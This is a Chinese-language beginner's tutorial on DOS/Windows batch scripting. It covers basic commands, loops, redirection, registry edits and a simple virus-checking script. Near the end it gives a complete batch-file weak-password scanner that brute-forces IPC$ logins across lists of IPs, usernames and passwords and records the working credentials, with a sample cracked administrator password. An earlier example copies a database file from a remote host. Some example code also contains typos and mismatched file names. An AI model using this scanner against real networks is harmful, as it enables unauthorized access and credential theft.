在很多人印象中,DOS时代已经远去了,在拥有豪华界面和强大功能的Windows时代,很少有人去用DOS的方法来解决一些问题,或者用DOS命令去玩电脑。其实在Windows时代,DOS仍然有着非常巨大的用处。看着大虾们把简单的DOS命令写成批处理就可以自动进行网络入侵、清除病毒、恢复系统……大大简化某些工作,这一定让你羡慕不已了吧?本文就教你如何去学习和使用批处理,如何让自己也成为一名来自DOS时代的大虾。
一、初识批处理:
“批处理”一词来源于上个世纪的60年代,批处理技术最早被应用在早期的操作系统的设计上。当时的计算机系统非常昂贵,为了提高资源利用律,增加系统的吞吐量,人们设计了一种可以按照某种顺序依次将作业从外存中调入内存去执行的操作系统,这就是多道批处理系统,好处是可以在作业调度中不需要人工参与,实现了简单的自动化。多道批处理的形成标志了操作系统的诞生。
小知识:“作业”指需要使用计算机来完成的某项工作。早期的“外存”一般为磁带,接着出现了软盘,现代的外存除了包括早期的外,还包括硬盘、光盘、移动存储设备等。“内存”只指插在计算机主板上的内存条。
在后来出现的DOS操作系统里,这种自动化被更好的体现出来。DOS系统允许用户使用任何一种文本编辑器将多条DOS命令按某种顺序以ASCⅡ文本的形式写入一个扩展名为.bat(MS-DOS批处理)或.cmd(Windows NT 命令脚本)的文件中,当在命令提示符下键入文件名并回车,或者在Windows环境中双击该文件时,系统会调用command.com或cmd.exe由前向后依次来自动执行这些命令。这个命令的集合就是批处理,它是DOS下可执行文件的一种。一个完整的批处理由至少一条可以被正确执行的DOS命令组成,可见DOS命令是批处理的核心。
小知识:“命令提示符”是指在DOS系统下或DOS窗口中出现的X:\>符号,X指当前的驱动器号。在命令提示符后可以直接输入命令,回车后该命令就被执行。DOS下的可执行文件,除了批处理专用的.bat和.cmd以外,还有.exe和.com,这四种文件是直接可以DOS被执行的。
也有一种说法,把批处理称做“脚本”,或者合起来称为“批处理脚本”,这也是合理的。批处理和脚本有一个共同点,他们都是通过一组命令的正确执行来实现自身价值的,不同之处在于,批处理使用的全部为DOS命令,而在脚本中可以使用应用程序的指令;脚本的程序性强于批处理,批处理的程序结构比较简单。
小知识:“指令”是指组成某一命令的最小单位,其执行过程不能再分。一条命令由多多条指令组成。
打开任何一种文本编辑器——如记事本,在里面写下如下代码,然后保存为一个扩展名为.bat或.cmd的文件,就形成了一个批处理。
例一,01.bat
@ echo off
if exist C:\name.gif del C:\name.gif
exit
注意:在下文的介绍中,部分例子只给出关键代码。
该批处理的作用,是检查是否存在C:\name.gif文件,如果存在就删除该文件。整个代码分为三行,因此可以理解为有三条DOS命令组成的,而第一条命令又由多条子命令组成。整段代码的执行顺序由@命令开始到exit命令结束。
注意:如果一条命令是用连接符号将多个命令连接而成的复合命令,则称该复合命令中的每一条命令为它的“子命令”。
为了进一步说明批处理的结构,再用一个例子初步介绍批处理。
例二,02.bat:
@echo off & cls
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
pause
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj & %1
:usage
echo Usage: This BAT file name [source filename]
echo Default BAT file name is START.BAT
汇编程序从源代码到可执行文件必须经过汇编和连接两个过程,这就是一个将汇编程序源代码自动转换为.exe可执行文件的批处理。2、3、4行和最后两行的作用是显示程序用法帮助,中间是程序主体部分。首先用masm程序对.asm源代码进行汇编,如果正确,再用link命令对汇编生成的.obj目标文件进行连接,从而生成.exe可执行文件。如果在汇编时出错,则打开源代码进行修改。在本例中使用了masm.exe、link.exe两个汇编的专用程序。可见,批处理的应用是十分灵活的,结合其他应用程序,只要是想的到的它都能做的到。
小知识:可以在键盘上按下Ctrl+C组合键来强行终止一个批处理的执行过程。
由于功能强大的DOS操作系统由它的所有命令组成,所有的DOS命令又都可以被用在批处理中,各命令的使用方式、参数等都和单独使用该命令时一样,所以决定了批处理可以完成所有DOS能完成的工作,还具备了DOS没有的优势:可以让命令按顺序自动执行。所以在Windows时代,批处理仍然可以在各种场合发挥作用,甚至有时利用批处理可以大大简化工作过程,提高工作效率。用好用活批处理,完全可以让你的电脑操作上一个新的台阶,老树也可以开新花。
二、常用批处理命令:各个常用命令
批处理的核心,是各种DOS命令,以及如何将它们巧妙组合,这需要读者朋友有一定的DOS基础,有灵活的思路和清晰的头脑,至少读者应该知道并且用过一些最基本的DOS内部命令,因为所有在批处理中专用的命令都是DOS的内部命令。下面本文将分三类由简单到复杂来介绍常用的批处理命令。
小知识:“内部命令”是指无程序体的命令,这些命令在任何DOS环境都可以执行,它们被包含在command.com或cmd.exe文件里,如例二中的echo、if、pause、goto等都是内部命令。在命令提示符下输入help后回车,就可以看到常用的内部命令。“外部命令”需要有自己独立的程序体,如例二中的edit命令就是外部命令,它们的程序体分别是edit.exe。而masm.exe和link.exe是应用程序,只要在DOS中可以运行,就可以把任何应用程序当作DOS命令来使用。
【批处理的基本命令】@、echo、::和rem、pause、call、:和goto、setlocal和endlocal
批处理命令中很多是基本命令,它们在批处理中应用十分普遍,几乎任何一个批处理中都可以找到它们的踪迹。下面将依次介绍这些命令。
1、@命令。
@符号是E-mail的专用符号,它在批处理中的作用是让系统在执行批处理命令时不显示该行命令本身。通俗一点说,当某一行命令最前面使用了该名,这一行的命令就不在执行过程中显示了。在例一首行的@echo off中,@的作用就是让批处理在执行时不显示后面的echo off部分。请读者结合后面的echo命令理解使用。
2、echo命令。
echo命令是一个开关命令,它只有on和off两中状态,一般出现在批处理第一行中,它的作用是保证批处理在执行时不显示它后面所有命令本身,只显示执行中的结果或其他信息,用法为:ECHO[ON|OFF]。可见,echo命令和@命令的区别在于前者关闭了所有命令本身,而后者只关闭其中一样。例一第一行中,将echo命令和@命令结合起来使用,达到了两个目的:不显示echo off命令本身,不显示以后各行中的命令本身。
echo命令还有其他特别的用法,比如用来在批处理执行过程中显示一段信息,用法为:ECHO[消息内容],见如例二中最后两行,echo后面的所有内容将被显示到屏幕上。还可以结合管道命令将显示的信息写进某个文件中,这样就可以使用echo命令来直接编辑文本文件了。后面将详细介绍。
3、::和rem命令。
::和rem命令的作用和用法都完全一样,用来在批处理中做注释,增加程序的可读性。它们的用法很简单,直接将注释内容写到::或rem后面就可以了。注释的内容可以为任意ASC字符(甚至一条命令),它们是不会在执行时显示出来,或被执行的。但需注意的是,使用::或rem命令做注释,一般都是另提一行来写的,这样显得规范且不易出错。
4、pause命令。
该命令在批处理中使用十分广泛,其作用是暂停批处理的执行,直到用户按下键盘上的任意键(Break键除外)。批处理在执行过程中显示的所有信息都是一闪而过的,只有当用户暂停执行时,才可以看到当前屏幕上的信息。当程序要让用户看一段信息,或要给用户时间去考虑某个问题的时候,就可以在这里加上一个pause,批处理执行到这里时将显示“按任意键继续”的信息。用法很简单,直接在要暂停的地方使用pause命令即可,见例二中pause用法。
注意,如果要让pause命令执行后的“请按任意键继续”的提示不出现,可以这么些pause >nul。同理其他命令执行后的提示如果不想显示,都可以这么写,在后面跟上>nul即可。
5、call命令。
该命令是用来从一个批处理中调用另一个批处理的,用法为:CALL [驱动器][路径]批处理名[参数]。使用此命令,可以实现多个批处理互相调用,类似于程序中各个模块之间的互相调用。例如有两个批处理名分别为01.bat和02.cmd,在01.bat里有如下命令:
call 02.cmd name.txt
01.bat执行到此句时,自动停止后面命令的执行,而转到执行02.cmd,name.txt作为02.cmd的参数。关于批处理中使用参数的详细用法,后面将详细介绍。
6、:和goto命令。
这是两个成对出现的命令,在任何一个批处理中有多少个:就一定至少有多少个gogo。goto命令的作用,是告诉程序并不按顺序向下执行,而是要跳转到另一个地方,而:标识符则唯一标记了goto命令要跳转的地址。简单来说,goto是个跳转命令,而:是一个标签。当程序运行到goto时,将自动跳转到:所标记的地方去执行。用法举例见例二。
注意:goto命令的标签长度不能超过8个字节,否则可能会出错。即thistest0和thistest的效果是一样的,批处理只取前8个字节,即thistest。
7、setlocal和endlocal命令。
这两个命令也是成对出现的,用来对批处理执行过程中的环境变量进行临时修改和操作,当执行过endlocal或关闭批处理后环境变量仍为系统原先设置的值。例如系统环境变量设置了Windows文件夹的目录为C:\Windows,而在批处理执行过程中要设置Windows文件夹的目录为D:\Windows,这就可以使用设置环境变量的命令在setlocal和endloacl之间进行重新设置,这个设置只限于该批处理执行过程中,是一个临时设置。一般情况下setlocal和endlocal两个命令在批处理中使用并不广泛。
小知识:所谓“环境变量”,是指包含诸如驱动器、路径或文件名之类的字符串,它控制着各种程序在执行时的外部环境,如临时文件位置等。可以使用“控制面板”——“系统”——“高级”——“环境变量”或使用set命令对环境变量进行修改。
【复杂命令】if、set、shift、for
复杂命令本身比较难掌握,但它们功能强大,在批处理中的应用是十分广泛的,它们是批处理中各种重要功能实现的基础。熟练这些命令才可以让写出的批处理实现想要的功能。
8、if命令。
懂得程序的朋友都知道,if命令在各种程序中都有使用,而且用的十分普遍。在批处理中,if命令和其他程序语言中的作用基本一样,都是代表“如果……就……”,是一个选择判断命令,或者说条件命令。在批处理中,if命令的使用也十分普遍,凡是牵扯到分支结构的地方都要使用if命令。
if命令判断程序执行时条件是否满足,如果满足就执行一个操作,不满足就执行另一种操作,条件可以是单个,也可以是多个的。根据if命令判断的对象,可将其分为三类:
(1)、输入判断,用法为:IF [NOT] string1==string2 command
在批处理执行时,可以为其赋予一个或多个参数,如何根据输入参数的不同来决定批处理执行不同的命令呢?使用if命令的输入判断就可以实现。
例三,03.bat:
if "%1"=="1" goto tern1
if "%1"=="2" goto tern2
:tern1
echo 输入为1
:tern2
echo 输入为2
%1在批处理中代表参数,后面将专门介绍。当输入参数为1时,执行term1部分的命令,参数为2时就执行term2部分的命令。通常情况下,为了使批处理更像一个标准的程序,也可以把该批处理的用法写进去,查看方式跟查看DOS命令的用法相同,实现代码见例二的2、3、4行和最后三行。
(2)、存在判断,用法为:IF [NOT] EXIST filename command
该用法可以为if命令指定一个文件名,当该文件存在时判断结果为真,否则为假。存在判断用法比较简单,如见例一。
小技巧:if命令的存在判断不能用来判断一个目录是否存在,只能判断文件,但在每个目录下都存在空设备,因此可以使用判断空设备是否存在的方式来间接判断目录是否存在。方法为:IF [NOT] EXIST [drive:][path]\nul command。例如:if not exist e:\tools\con md e:\tools,如果不存在e:\tools这个目录就新建立一个。
(3)、结果判断,用法为:IF [NOT] ERRORLEVEL number command
这是if命令三种判断中最重要的一种。由于DOS命令在执行完毕后都会给系统一个返回值,用来表示执行结果。在if命令中设置一个比较值,如果返回值大于或等于比较值就继续执行,否则就退出if命令。
例四,04.bat:
@echo off
netstat -a -n > a.txt
find a.txt "7626"
if errorlevel 2 (
echo You have infected GLACIER!
) else (
echo Congratulations! No GLACIER!
)
del a.txt
& pause
该程序用来检查系统是否感染冰河木马。在此批处理中,find命令执行后返回一个数值2,if errorlevel判断执行find命令的结果(根据返回值判断),当返回值大于或等于2时表示find命令找到特定字符串,则执行第一个echo命令,否则就执行else后面的echo命令。
说明:也可以在if后面仅跟一个not来判断“如果不……就……”,用法跟“如果……就……”的用法一样,本文不另做介绍。
在代码中直接使用goto命令结合返回码来实现代码跳转,从而省略if命令。
例五,05.bat:
goto answer%errorlevel%
:answer0
echo Program had return code 0
:answer1
echo Program had return code 1
如果在if命令中不指定errorlevel的环境变量,则%errorlevel%会代替errorlevel,直接表示返回值。即如果errorlevel为0,则可以直接goto到:answer0,因为answer%errorlevel%和answer0是等价的。
if命令的三种用法都比较好理解,结合在其他程序语言中if的用法,可以很快理解if命令的三种用法。
9、for命令。
for命令是批处理中最具程序特点的命令,它是一个循环命令,用来对多个目标执行同一个操作,通常情况下是对一个或一组文件中的每一个对象进行定义的操作,直到所有对象都执行这一操作完成,或被强制终止。
for命令的基本用法为:for %variable in (set) do command,这是for命令的固定格式。(set)定义要操作目标的范围,%variable表示一个可在(set)定义的范围内取值的变量,command指定要执行的操作,in和do为该命令中必不可少的关键字。for命令的执行过程,实际上是对(set)指定范围内的每一个对象执行command定义的命令。例如要对一个密码字典(每行一个密码)中的每一密码进行测试,只需要指定(set)为密码文件名,command为测试密码的命令即可。执行时for命令自动将每个密码用测试命令进行测试,直到测试完所有密码。
注意:for命令不能嵌套执行,即在一个for命令中不能执行另一个for命令。在for命令中,变量可以使用除%0-%9以外的所有数字和字母,例如%i,但变量有大小写之分,%i不等于%I。当要在批处理中执行for命令时,变量前要加两个%符号,否则会提示出错。如%%i。本小节只介绍for命令本身,使用单%符号。
根据在(set)部分定义的操作对象的不同,可将for命令的作用分为四类:目录操作、目录书操作、数值范围操作、文件解析。
(1)、目录操作:
该操作只针对定义范围内的目录进行,执行时要使用/d参数。假设要在当前目录中建立文件名分别为a、b、c的三个目录,则执行如下命令:for /d %i in (a,b,c) do md %i。该过程相当于依次执行md a、md b和md c。
如果在(set)中使用*作为统配符,则可以设置操作对象为当前目录下的所有文件夹,也可以使用?符号来指定部分名称的文件夹为操作对象。如果要删除这三个目录则可执行:for /d %i in (*) do rd %i。
(2)、目录树操作:
该操作针对指定的根目录树的每一层子目录进行for命令,执行时需要使用/r参数。如果没有指定目录,则默认为当前目录。假设要查看指定目录中的所有目录及子目录中的文件详细信息,则执行如下命令:for /r e:\games %i in (.) do dir %i > info.txt。这样相当于在每个目录及子目录中都执行了dir命令,然后将所有的执行结果都写到info.txt文件中。
(3)、数值范围操作:
该操作通过对(set)部分的特殊指定,可以生成一个数字序列来作为command的执行范围,执行时需要使用/l参数。假设要生成所有三位数的有序序列,则可以利用for命令的/l参数方便实现。
例六,06.bat:
@echo off
for /l %%i in (100,1,999) do echo %%i >> number.txt
if errorlevel 0 echo All done.
这样就将100到999之间所有的数字按递增顺序写到number.txt中,每行一个数字。在该操作的(set)部分中,前、后两个数字指定数字序列的最小和/或最大值,中间的数字代表生成序列的方式,1代表递增,-1代表递减。若将(set)中的100和999互换位置,会将100到999之间的数按递减顺序排列并写到number.txt文件中。
(4)、文件解析:
该操作是for命令最难最烦琐的操作,用来对定义范围内的文件内容、字符串以及其他命令的输出进行处理,执行时要使用/f参数。要01.txt文件中的所有空行去掉,则执行如下命令:for /f %i in (01.txt) do echo %i >> 02.txt。这样就会将01.txt内容中不为空的所有行写入到02.txt文件中,因为/f参数默认不处理文件中的空行。
在该操作中,可以为/f参数再带上更多选项来实现更丰富的功能。在选项中可以定义被处理文件的其他条件,例如从第n行开始处理、行结尾如果是指定字符就跳过、指定每行的第那些字符被参数取代等。
for命令的用法十分灵活多变,有的甚至十分复杂,限与篇幅,这里不再深入介绍,本文在后面还将对for命令的高级用法做出举例。
批处理作为DOS下的可执行文件,可以加入参数以扩大它的功能。批处理参数以一个%符号后紧跟一个数字组成,批处理在执行时,自动用紧跟在批处理文件名后面的字符串或文件来依次替换该批处理内部的参数。如果一个批处理文件test.bat以这样的方式执行:test a 123 name.txt,则在执行过程中,批处理自动从代码中寻找%1并用a代替,%2用123代替,%3用name.txt代替。
批处理参数的表示,只允许出现%0-%9(其中%0代表调用该批处理本身)但有时需要在批处理中使用超过%9的参数,或者使用数目不定的参数,就必须使用shift命令。shift命令的作用就是修改参数在批处理文件中的位置。
例七,07.bat:
@echo off
:getfile
if "%1"=="" goto exit
copy %1 C:\Windows\
shift
goto getfile
:exit
该批处理的作用,是复制任意多的文件file1、file2……到c:\windows\目录中,假设有三个文件要复制,执行07.bat file1 file2 file3。程序先判断是否存在第一个参数,存在则复制第一个文件,然后执行shift命令,准备第二次复制。在第二次中,由于执在第一次执行了shift命令,所有的%1都被替换成了%2,执行过程变为先判断第二个参数是否存在,存在则复制第二个文件,然后再执行一次shift命令来完成从%3到%2的替换。依次类推。在使用shift命令实现不定数目的参数替换功能时(如本例),必须要注意执行shift命令的时机,如果选择不当则不能达到目的,甚至会出现死循环的情况。这需要不断的摸索,进一步理解shift命令的用法。有关批处理参数的用法后面还有详解。
【其他命令】在批处理中常用的DOS命令。
从本文开始就在强调,各种DOS命令是批处理的核心和基础,只有掌握好各种DOS命令,才可能将它们灵活的运用到批处理中,熟练使用DOS命令是玩转批处理的必要条件。在批处理中常用的DOS命令还有以下这些:
copy、dir、del、type、path、set等内部命令,net、ping、cmd、at、sort、attrib、fc、choice等外部命令。
小知识:内部命令是指包括在command.com(98系统)或cmd.exe(98以上系统)里的命令。比如你打开CMD命令行,输入help并回车,显示出来的所有命令都是内部命令,它们都被包括在cmd.exe这个文件里了。外部命令是指有独立文件的命令,比如net和ping命令都是外部命令,在system32目录下可以找到net.exe和ping.exe文件。
如何学习DOS命令不是本文介绍的内容,几乎任何一个DOS命令都可以在命令提示符下输入“命令名 /? | more”来查看其帮助。
三、高级批处理命令:
认识了批处理中常用的命令,如果读者认为批处理就这些内容的话,那就大错特错了。批处理还有功能更特殊用法更精妙的命令,还有更强大的功能和潜力等待着我们去挖掘。高级命令分为组合命令、管道命令和重定向命令。
【组合命令】&、&&、||
顾名思义,组合命令实际上是一个有意义的连接符,用来连接多条命令。将多条子命令用这种连接符连接起来放在一行去当作一个命令执行,这在批处理中是允许的,而且使用十分广泛。
11、&命令。
&命令是最简单的组合命令,它的作用是连接多条子命令,不管前面的命令是否执行成功,后面的命令都将按顺序依次执行完毕。用法为:COMMAND1 & COMMAND2 & COMMAND3……
例八,08.bat:
del a.tmp & echo All done! & pause
例八中的这句命令由三条子命令组成,它们依次执行,任何一个命令的执行结果都不影响其他子命令的执行。
12、&&命令。
&&命令也是用来连接多条子命令的,用法与&命令相同,不同之处在于,它在从前往后依次执行被它连接的几个子命令时会自动判断是否有子命令执行出错,一旦发现某个子命令执行出错,该子命令后面的全部命令都将被忽略。这样,将某些在特定条件下不必执行的命令用&&命令连接在它的条件后面,当条件不正确时就不执行后面的命令了。
例九,09.bat:
dir file://IP/www/user.mdb && copy file://IP/www/user.mdb e:\backup\user.mdb
先用dir命令查看远程主机上user.mdb文件是否存在,执行成功后(文件存在)就用copy命令复制到本地,否则不执行copy命令。
13、||命令。
||命令同样用来连接多条子命令,用法同前两种组合命令完全一样,但它的作用跟&&命令刚好相反,当多条子命令中只要有一个可以成功执行(&&命令是执行出错),后面的所有子命令将被忽略。
例十,10.bat:
dir 01.exe || dir 02.exe || echo No virus found! & pause
echo Found Virus! & goto clean
假设01.exe和02.exe是同一个病毒的两个文件,先用dir 01.exe命令检查文件01.exe是否存在,如果不存在(执行不成功)就继续执行dir 02.exe检查02.exe是否存在,如果存在01.exe就显示发现病毒,并跳转程序到清除病毒部分。
【管道命令】|
14、|命令。
管道命令用来实现将一个命令的输出信息和另一个命令的输入相连接,类似与从管道中传递实体。用户只能看到最后的结果而不能看到它们之间通信的过程,因为这个过程是在管道中进行的。在批处理中使用管道命令,可以让命令之间互相通信,而将中间过程透明化,因此作用十分巨大。
小知识:操作系统中把“管道”定义为连接一个读进程和一个写进程以实现它们之间通信的文件,这个“文件”是在内存中建立的,当信息传递结束后它也随之消失,所以是不可见的。
|命令用来实现两个命令之间的管道,它将前一命令的输出作为后一命令的输入,这种用法比较特殊,但却很高效。可以分两步来理解|命令:先将前一命令执行后的结果输出到内存的某一地址,再让后一个命令从该地址来取输入信息。在这两步之间,这个被两个命令共同使用的内存就相当于管道。
例十一,11.bat:
ype code.txt | debug
想将一个保存在code.txt中的代码让dubug程序来执行,不必先打开debug,再将code.txt的内容粘贴在里面后执行,只需要利用这个管道命令就可以实现。先用type命令在内存中显示code.txt的内容(type命令的输出),然后将这些输出作为debug的输入内容传递给debug。
【重定向命令】>和>>、<、>&和<&
15、>和>>命令。
>和>>命令又被称为输出重定向命令,它们的作用是一样的,都是将前一命令的输出写到一个文件中。在批处理中,它们往往被用来将某些信息保存到一个文件中。
例十二,12.bat:
dir /s e:\ > a.txt
这条命令用来得到一份E盘的目录和详细文件列表,并保存到a.txt文件中。先用dir/s命令将E盘的目录列出来(在内存中),然后用>重定向命令将该部分内存的内容写到a.txt中。>命令写文件的方式是从文件第一行开始,直到写完管道中的内容,原来文件的起始部分将被覆盖。所以如果要在同一个文件中再写进去F盘的详细文件列表,就要使用>>命令了,因为>>命令是从文件在最后一行,将管道中的信息追加进去的。
例十三,13.bat:
dir /s e:\ > a.txt
dir /s f:\ >> a.txt
可见,>命令和>>命令的不同之处在于前者是从文件的第一行开始覆盖,而后者是从文件的最后一行开始追加。
16、<、<&和>&命令。
这三个命令一般不常用,本文只作简单介绍,有兴趣的读者可以通过其他途径深入学习:
<,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。
>&,将一个句柄的输出写入到另一个句柄的输入中。
<&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。
应用在批处理中的所有命令基本上都在前面介绍了,但光依靠这些命令还不足以让批处理发挥其所有的功能。批处理在执行时还可以被加进去参数,还可以利用批处理来操作注册表……
四、批处理的综合应用:
【批处理参数的应用】
参数在批处理中的应用十分广泛,很多情况下如果不使用参数,其功能将无法完成。参数中,%0表示该批处理文件名,相当于对该批处理自身的一次调用;%1-%9表示在执行时用加入的参数代替。如果参数多于9个,则需要使用shift命令来处理多出的参数。
例十四,14.bat:
@echo off
net use \\%1\ipc$ "%3" /u:"%2"
goto result%errorlevel%
:result0
echo host=%1
echo username=%2
echo username=%3
pause
:result2
假设该批处理文件名为ipc.bat,则执行时在命令行输入ipc 192.168.0.123 administrator password
【批处理操作注册表】
一般情况下,操作注册表的方法是直接打开注册表编辑器对其操作,还有一种是利用导入的方法来操作注册表,将要编辑的注册表内容写到一个文件中,然后将该文件执行导入内容。使用批处理也可以对注册表进行操作,利用的原理就是导入。
注意:注册表包含了计算机中每个用户的配置文件、有关系统硬件的信息、安装的程序及属性设置,Windows 在其运行中不断引用这些信息。在操作注册表前最好先对其进行备份,以免因操作不当造成难以预测的后果。
结合管道命令>和echo命令就可以将注册表内容写到一个文件中,最后利用regedit命令导入就可以了。
例十四:
@echo off
rem This REGfile close all shared entity.
echo Windows Registry Editor Version 5.00 > name.reg
echo. >>name.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >> name.reg
echo "AutoShareServer"=dword:00000000 >> name.reg
echo "AutoShareWks"=dword:00000000 >> name.reg
echo.
regedit /s
该例的作用,是通过修改注册表来达到禁止默认共享的目的。在该例中,使用echo命令显示一个字符串,然后用>命令将此字符串重定向到name.reg文件中,最后利用regedit命令将name.reg文件的内容写到注册表里。如果为Windows98系统,则.reg文件的第一行应修改为REGEDIT4,顶格大写。
注意:echo命令后不空格而紧跟一个小圆点,作用是显示一个空行,且显示空行的前提是必须执行过echo off命令。.reg文件第二行和最后一行的两个空行必须存在,它是注册表文件的固定格式。
【批处理综合应用举例】
在介绍了批处理中使用的所有命令后,下面将以更多的例子来向大家展示批处理的综合应用。
精彩实例一:注册表IE选项快恢复!
很多恶意的垃圾网站会偷偷的修改用户的注册表,从而达到修改IE的标题栏、首页等,甚至将恢复首页的地方变为灰色。本例将以批处理导入注册表的形式解决这些问题。
@echo off
echo Windows Registry Editor Version 5.00 >> fixie.reg
echo. >> fixie.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] >> fixie.reg
echo "Windows Title"="Microsoft Internet Explorer" >> fixie.reg
echo "Start Page"="about:blank" >> fixie.reg
echo. >> fixie.reg
echo [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel] >> fixie.reg
echo "Settings"=dword:0 >> fixie.reg
echo "Links"=dword:0 >> fixie.reg
echo "SecAddSites"=dword:0 >> fixie.reg
echo. >> fixie.reg
regedit /s fixie.reg & del fixie.reg
精彩实例二:反病毒工具自己写。
面对日益猖獗的病毒,很多菜鸟都叫苦不迭,不知道如何应对。其实利用批处理,完全可以达到自动搜索、分析和清除病毒的目的。
该工具分为三部分。备份:先将sysrem32目录的所有.exe文件和.dll文件的详细信息写到一个备份中,系统每次启动时都自动将当前情况和备份文件对比;搜索与分析部分:具备可扩展性,用户可以随时添加新的“病毒库”进去,同时根据病毒的资料,使用call命令调用清除部分。各种病毒的详细资料可以从Internet上得到。
备份:此过程在系统确定无病毒时进行。保存为Backup.bat。
@echo off
dir c:\windows\system32\*.exe > c:\exe_0.txt
dir c:\windows\system32\*.dll > c:\dll_0.txt
搜索与分析:将该批处理加到开机启动项目中,每次开机自动检查。可检测的病毒种类具备扩展性,只需要添加更多的病毒信息即可。保存为Search.bat。
@echo off
dir c:\windows\system32\*.dll >c:\exe_1.txt
dir c:\windows\system32\*.exe >c:\dll_1.txt
fc c:\exe_0.txt c:\exe_1.txt >c:\exe.txt
fc c:\dll_0.txt c:\dll_1.txt >c:\dll.txt
find c:\exe.txt "10.bat" && echo "发现批处理蠕虫病毒:姆码" && call muma.bat
find c:\exe.txt "avserve.exe" && echo "发现蠕虫病毒:震荡波" && call sasser.bat
pause
清除:每个病毒的清除代码放到一个批处理中。这里以“姆码”病毒为例,使用“流光”自带的DOS下进程结束工具pskill.exe来结束病毒程序的进程。保存为muma.bat。
@echo off
net user KKKKKKK /delete
net stop application
set win=%systemroot%\system32
attrib -h -s *.bat & del %win%\*.bat /F
if not errorlevel 0 goto echo
attrib -h -s HFind.exe & pskill HFind.exe & del %win%\HFind.exe /F
if not errorlevel 0 goto echo
attrib -h -s ntservice.exe & pskill ntservice.exe & del %win%\ntservice.exe /F
if not errorlevel 0 goto echo
attrib -h -s nwiz_.exe & pskill nwiz_.exe & del %win%\nwiz_.exe /F
if not errorlevel 0 goto echo
attrib -h -s psexec.exe & pskill psexec.exe & del %win%\psexec.exe /F
if not errorlevel 0 goto echo
attrib -h -s psexesvc.exe & pskill psexesvc.exe & del %win%\psexesvc.exe /F
if not errorlevel 0 goto echo
attrib -h -s rep.exe & pskill rep.exe & del %win%\rep.exe /F
if not errorlevel 0 goto echo
echo All done.
:echo
echo Delete failed! Please scan your system with Anti-virus tools!
pause
++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++=+
精彩实例三:打造自己的弱口令扫描器。
密码和协议,这是网络安全最根本的两个因素。而在密码漏洞中,最常见的是弱口令,它一直是阻碍网络安全的绊脚石。利用批处理就可以实现弱口令扫描,将网络中存在弱口令的机器找出来并保存其IP、用户名和密码。
该扫描器共有如下文件:ip.txt、psw.txt、user.txt、result.txt、ip.bat、psw.bat、user.bat、ipc.bat 8个文件组成,它利用for命令,从一个用户名字典和一个密码字典里依次取出一个用户名和密码来进行ipc$连接,一旦连接成功就记录IP、用户名和密码到一个指定文件中。
ip.txt:保存要扫描的IP地址,每行一个IP;
psw.txt:保存要测试的密码,每行一个密码;
user.txt:保存要测试的用户名,每行一个用户名;
result.txt:保存扫描结果。
ip.bat:在结果中保存日期和时间,并依次从user.txt中取用户名。
@echo off
date /t >> result.txt
time /t >> result.txt
echo result: >> result.txt
cmd /c for /f %%i in (user.txt) do call pass.bat %1 %2 %%i
psw.bat: 依次从psw.txt中取用密码。
cmd /c for /f %%i in (psw.txt) do call user.bat %1 %%i %3
user.bat: 依次从ip.txt中取IP地址。
cmd /c for /f %%i in (ip.txt) do call ipc.bat %%i %2 %3
ipc.bat:将取出的三个参数用net use命令进行IPC$连接,以确定IP、用户名以及密码是否正确。如果连接正确就将结果记录到result.txt中。
@echo off
net use \\%1\ipc$ %2 /u:%3
goto result%errorlevel%
:result0
echo. >> result.txt
echo RemoteIP:%1 >>result.txt
echo Username:%3 >>result.txt
echo Password:%2 >>result.txt
net use \\%1\ipc$ /delete
:result2
将这8个文件放到同一目录下,然后在命令行下这样执行:ip.bat ip.txt psw.txt user.txt。如果网速够快的话,用不了多久就会将所有IP、用户名和密码用排列组合的方式全部测试完毕(测试次数为IP数*用户名数*密码数),并将正确的结果保存。看看结果:
2004-09-04 星期六
18:46
Result:
RemoteIP:192.168.0.7
Username:administrator
Password:iloveu
五、将批处理转化为.com可执行文件:
由于批处理文件是一种文本文件,任何人都可以对其进行随便编辑,不小心就会把里面的命令破坏掉,所以如果将其转换成.com格式的可执行文件,不仅执行效率会大大提高,而且不会破坏原来的功能,更能将优先级提到最高。Bat2Com就可以完成这个转换工作。
小知识:在DOS环境下,可执行文件的优先级由高到低依次为.com>.exe>.bat>.cmd,即如果在同一目录下存在文件名相同的这四类文件,当只键入文件名时,DOS执行的是name.com,如果需要执行其他三个文件,则必须指定文件的全名,如name.bat。
这是一个只有5.43K大小的免费绿色工具,可以运行在纯DOS或DOS窗口的命令行中,用法:Bat2Com FileName,这样就会在同一目录下生成一个名为FileNme.com的可执行文件,执行的效果和原来的.bat文件一样。
例十五:
@echo off
echo MM,do you love me ?
:love
choice
Yes or No?
if errorlevel 2 goto love
pause
给这个批处理稍加修饰,就是一个简单版的“非爱不可”,只有当选择Yes的时候才可以退出,否则就无限循环。将love.bat和Bat2Com.exe放在同一目录,然后执行bat2com love.bat,立刻就在该目录下生成一个love.com的可执行文件。
小提示:choice是一个Windows98下的外部命令,如果需要在没有该命令的Windows系统中使用该命令,可以直接将Windows98系统下%systemroot%\command\choice.com文件复制到其他Windows系统的%systemroot%目录即可。如果将含有choice命令的批处理文件用Bat2Com处理成.com文件,则生成的.com文件可以脱离choice.com而成功运行,因为choice的功能已经被写到该.com文件中去了。
07-05-25补充:当然也可以用set、if和goto命令结合来判断用户的输入,以达到目的。
六、后记:
本文通过使用大量的例子,比较系统、全面、正确的介绍了批处理的来历、用法、命令、综合应用等方面,也许作为初学者,你已经对批处理有了非常浓厚的兴趣,但批处理如同其他程序语言一样(只不过比较简陋),是一门博大精深的艺术,要彻底掌握批处理必须要有非常扎实的DOS基础和非常灵活的头脑。批处理是玩出来的,练出来的,它还有更大的潜力等待你的挖掘。只要你不断努力,老树也可以开新花。